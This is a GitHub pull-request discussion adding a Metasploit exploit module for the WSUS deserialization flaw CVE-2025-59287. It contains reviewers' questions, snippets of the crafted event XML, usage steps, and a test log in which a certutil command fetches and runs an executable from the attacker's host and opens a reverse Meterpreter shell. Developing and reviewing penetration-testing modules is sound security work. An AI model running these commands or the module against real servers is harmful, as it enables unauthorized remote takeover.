-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287) #20674
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287) #20674
Conversation
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
jvoisin
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Wow, that's a very clean module, kudos!
| 'Platform' => 'win', | ||
| 'DefaultOptions' => { | ||
| 'RPORT' => '8530', | ||
| 'WfsDelay' => 900 # need to wait for WSUS to try synchronize |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why 900 seconds specifically?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
No specific reason, wait here can be longer depending on the server - 900 is for debugging purpose.
| 'DisclosureDate' => '2025-10-14', | ||
| 'DefaultTarget' => 0, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SERVICE_RESTARTS], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why crash? This is a deserialization-based RCE, so it shouldn't crash, ever, shouldn't it?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It could, but the module basically creates event that gets deserialized every time that WSUS sync takes place, meaning the payload stays there and it's causing synchronization to fail. So it basically crashes synchronization, which then gets restarted. This is what I've seen/debug while testing.
| 'Notes' => { | ||
| 'Stability' => [CRASH_SERVICE_RESTARTS], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why SCREEN_EFFECTS?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Because when payload runs, it pops cmd, where you can see certutil being used.
| <EventID>389</EventID> | ||
| <SourceID>301</SourceID> | ||
| <UpdateID> | ||
| <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can this be randomized?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good question, I'll check.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
waiting for this investigation but that's not a blocker
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The UpdateID could be randomized, other parameters needs to be fixed as different values cause exploit to fail.
| Provides features for managing and distributing updates through a management console. | ||
| The [CVE-2025-59287](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-59287) is a remote code execution vulnerability in | ||
| this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync. | ||
| One way to run synchronization is to open the `Windows Server Update Service` app, | ||
| the other is to run the following command from PowerShell: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I would suggest here to add at least the update number so the people know if it is or is not vulnerable
| 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] | ||
| } | ||
| ) | ||
| ) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It would be great to add the MITRE attack metric here
| <EventID>389</EventID> | ||
| <SourceID>301</SourceID> | ||
| <UpdateID> | ||
| <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
waiting for this investigation but that's not a blocker
dledda-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(windows/http/wsus_deserialization_rce) > run
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.10:8080/SqHMvLtqAZWhX-2lofXn7w %TEMP%\UCvtZRNV.exe & start /B %TEMP%\UCvtZRNV.exe
[*] Fetch handler listening on 192.168.3.10:8080
[*] HTTP server started
[*] Adding resource /SqHMvLtqAZWhX-2lofXn7w
[*] Started reverse TCP handler on 192.168.3.10:4444
[*] Getting server ID
[*] Getting authentication cookie
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (605075 bytes) to 10.5.135.158
[*] Getting reporting cookie
[*] Trying to create malicious event
[*] Created malicious event, now waiting for WSUS to sync
[*] Meterpreter session 1 opened (192.168.3.10:4444 -> 10.5.135.158:50803) at 2025-11-11 10:36:26 -0500
meterpreter > sysinfo
Computer : WIN2022__63DA
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter >
This PR adds RCE module for unauthenticated deserialization in WSUS - CVE-2025-59287.
Work in progress.WSUS provides features for managing and distributing updates through a management console.
The CVE-2025-59287 is a remote code execution vulnerability in
this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync.
One way to run synchronization is to open the
Windows Server Update Serviceapp,the other is to run the following command from PowerShell:
(Get-WsusServer).GetSubscription().GetLastSynchronizationInfo()Verification Steps
use exploit/windows/http/wsus_deserialization_rceset RHOSTS [target IP]set LHOST [attacker IP]set LPORT [attacker port]runOptions
Scenarios